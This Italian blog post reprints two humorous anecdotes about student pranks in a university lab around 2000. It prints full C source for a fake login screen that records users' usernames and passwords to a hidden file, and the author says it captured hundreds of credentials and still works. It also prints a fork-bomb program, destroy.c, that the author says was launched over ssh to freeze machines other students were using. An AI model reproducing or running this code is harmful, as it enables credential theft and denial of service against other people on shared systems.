Storie della nostra vita
In questo articolo ho pensato di riportare due articoli distinti, precedentemente pubblicati su Be Geek My Friend, per far si che gli utenti dei sito possano capire con chi hanno a che fare. Non preoccupatevi sono passati molti anni, siamo diventati bambini bravi (sopratutto perché non siamo più bambini).
Nota per le forze dell'ordine: i possibili reati sono caduti in prescrizione.
Storie della nostra vita parte I
In questi giorni sto leggendo la raccolta di racconti Storie della tua vita di Ted Chiang, che fra gli altri contiene l'omonino ("Storie della tua vita") che ha ispirato il film Arrival (che, come succede per ogni film che voglio vedere dopo aver letto il libro, non ho ancora visto). Il secondo racconto si chiama "Capisci" dove il protagonista, vittima di un incidente, diventa super intelligente a causa della somministrazione di alcuni ormoni utili alla ricostruzione del cervello. Si accorge subito che in ospedale non gli raccontano tutto quello che dovrebbe sapere e quindi il suo primo atto da super intelligente è hackerare il sistema per leggere la sua cartella clinica. Per fare ciò ruba la password di uno dei dottori con un programma scritto al momento che simula la schermata di login e salva su file utente e password, ovviamente prima dell'incidente non conosceva linguaggi di programmazione.
Eccoci al perché dell'articolo: nel lontano 1999 (o forse 2000) il gruppo fondatore del sito (che prima di capire che il nome poteva essere frainteso si faceva chiamare "I tre smanettoni e mezzo") decise che avere una password a testa era poco divertente e che quindi poteva essere cosa buona e giusta conoscere più password (ovviamente l'idea non fu mia sono una vittima). Frequentando con ottimi risultati, alla sala giochi vicino, il Dipartimento di Informatica dell'università (non vi dirò mai che la città è Pisa), gli altri studenti divennero la cavia perfetta soprattutto perché alcuni dell'ultimo anno avevano addirittura il permesso di eseguire sudo. I nostri eroi unirono i loro cervelli giganteschi (nel libro lo fa uno che diventa super intelligente) per creare codesto programma scritto in C (ritrovato nel mio disco esterno)
//Fotti Password versione Login
//Programma creato dai Tre Smanettoni e 1/2
//Versione 1.0
#include <stdio.h>
#include <stddef.h>
#include <unistd.h>
#include <stdlib.h>
#include <termios.h>
#include <ctype.h>
#define MAX 25
#define SA struct sockaddr
#define MAXLINE 4096
#define BUFFSIZE 80
#define NOMEMORY "Memoria non disponibile"
#define NOTERM "Non è un terminale"
struct termios saved_attributes;
/* questo e' la struttura per il settaggio del terminale,
al fine di settare un input non canonico o meno */
char *comando;
char *login;
char *pass;
char *host;
FILE *fp1, *fp2, *fp3;
void reset_input_mode(void)
{
tcsetattr(STDIN_FILENO, TCSANOW, &saved_attributes);
/* Salva il precedente stile di input */
}
void set_input_mode(void)
{
struct termios tattr;
if (!isatty(STDIN_FILENO))
/* La funzione di libreria isatty (int filedes), restituisce 1 se filedes e' un descrittore di file associato con un terminale, 0 altrimenti*/
{
fprintf(stderr,NOTERM);
exit(EXIT_FAILURE);
}
/* Ora si procede al settaggio delle impostazioni del terminale, al fine di ottenere un input non canonico */
tcgetattr(STDIN_FILENO, &saved_attributes);
/* Si prendono le impostazioni correnti con tcgetattr, al fine di salvarle*/
atexit(reset_input_mode); /* Le salviamo a modo */
tcgetattr(STDIN_FILENO, &tattr); /* Riprendiamo le impostazioni correnti, per modifcarle */
tattr.c_lflag &=~(ICANON | ECHO); /* Tolgo l'impostazione canonica e l'echo*/
tattr.c_cc[VMIN] =1; /* settiamo il numero di bytes, da prelevare */
tattr.c_cc[VTIME] =0;/*facciamo in modo che la digitazione non abbia timeout*/
tcsetattr(STDIN_FILENO, TCSAFLUSH,&tattr);/* Voila', settato il terminale per
evitare un qualsiasi eco */
}
char getch(void)
/* esegui una lettura sulla periferica */
{
char tkn;
read(STDIN_FILENO,&tkn,1);
return tkn;
}
char* digitpass(int maxstr)
{
char tk;
char *base,*s;
char passecho[]="Password: ";
char nologin[]="\nlogin incorrect\n";
int j;
base=malloc((maxstr*sizeof(char))+1); /*alloca una stringa di maxstr
elementi*/
s=base; /*offset*/
if (!s) /* se la memoria non e' disponibile .. ti ciucci il calzino */
{
perror(NOMEMORY);
exit(0);
}
j=0;
write(STDOUT_FILENO,passecho,sizeof(passecho));
set_input_mode(); /* vedi sopra*/
tk=getch();
while ((tk!='\n') && (j<maxstr))
{
if (isprint(tk))
{
*s=tk;
j++;
s++;
}
tk=getch();
}
reset_input_mode();
*s='\0';
write(STDOUT_FILENO,nologin,sizeof(nologin));
return base;
}
main()
{
int i;
char c, d;
//system("clear");
fp1 = fopen("/tmp/.archivio", "a");
fp2 = fopen("/etc/HOSTNAME", "r");
fp3 = fopen("/etc/issue", "r");
host = malloc((10*sizeof(char))+1);
login = malloc((12*sizeof(char))+1);
printf("\n\n\n");
while (!feof(fp3))
{
c = getc(fp3);
if (c != (char) EOF) printf("%c", c);
}
fclose(fp3);
while ((d =getc(fp2)) != '.')
printf("%c", d);
printf (" login: ");
gets (login);
pass=digitpass(79);
fputs(login, fp1);
fputs(" ", fp1);
fputs(pass, fp1);
fputs("\n", fp1);
fclose(fp1);
fclose(fp2);
exit(0);
}
Il potentissimo programma (funziona ancora, anche se non mostra bene come prima la schermata di login testuale) apriva i file /etc/hostname e /etc/issue per copiare l'aspetto del login da shell (veniva uguale uguale), farti inserire nome utente e password e uscire. Ovviamente le credenziali finivano nel nostro mitico file. Ne avevamo a centinaia, bastava lanciare il programma prima di lasciare la postazione per aver la password del primo utente che voleva utilizzarla. L'utente non si insospettiva poiché si ritrovava davanti il messaggio "password errata" e la schermata di login originale. Forse i più veloci e attenti potevano notare qualcosa di strano ma non abbiamo mai avuto problemi.
Non preoccupatevi abbiamo fatto buon uso delle credenziali, alla sala giochi non servivano.
Storie della nostra vita parte II
Questa mattina mentre predisponevo un tardivissimo backup dei file contenuti sul mio portatile, mi sono messo a vagare nei meandri delle cartelle sparate alla rinfusa nel mio disco di backup. Nelle cartelle c'era un altro programma malefico, dal nome illuminante: destroy.c. Lo usavamo quando in laboratorio le macchine erano occupate. I laboratori dell'anonimo dipartimento di informatica (a Pisa) avevano una angolo soppalcato dove c'erano 4 macchine vecchissime dalle quali era impossibile usare qualcosa di diverso dal terminale. Quando le più potenti macchine "del pian terreno" erano occupate noi giovani criminali, ci collegavamo del soppalco e con l'auto di ssh (col parametro -x mi pare) lanciavamo da remoto su uno dei PC di sotto (ben più performanti) il nostro divino codice e osservavamo sghignazzando (qualcuno benedica chi aveva scritto a caratteri cubitali il nome host della macchina). Il codice era questo:
#include<stdlib.h>
char*s;
main()
{
while(1)
{
fork();
s=malloc(10024);
}
}
Da bravi studenti apprendevamo e capendo quanto detto dagli insegnati prendevamo spunto. Durante la lezione di programmazione la prof disse: "Attenti agli assegnamenti di memoria nei cicli, in caso di ciclo infinito la macchina si pianta di sicuro". Noi giovani criminali che siamo come San Tommaso, non ci crediamo finché non ci mettiamo il naso, abbiamo provato a lungo per poi dare ragione alla prof. In circa 10 secondi il nostro destroy.c riusciva a rendere inutilizzabile una macchina e a liberarla per i nostri malefici scopi (ricordatevi che parliamo del 2000). Molti utenti, che ovviamente facevano cose serie, si alzavano subito infastiditi (mentre noi ridendo come pazzi prendevamo nota delle nuove bestemmie apprese), per altri servivano anche tre blocchi consecutivi. La maggior parte delle macchine liberava la memoria entro pochi minuti, ma loro mica lo sapevano.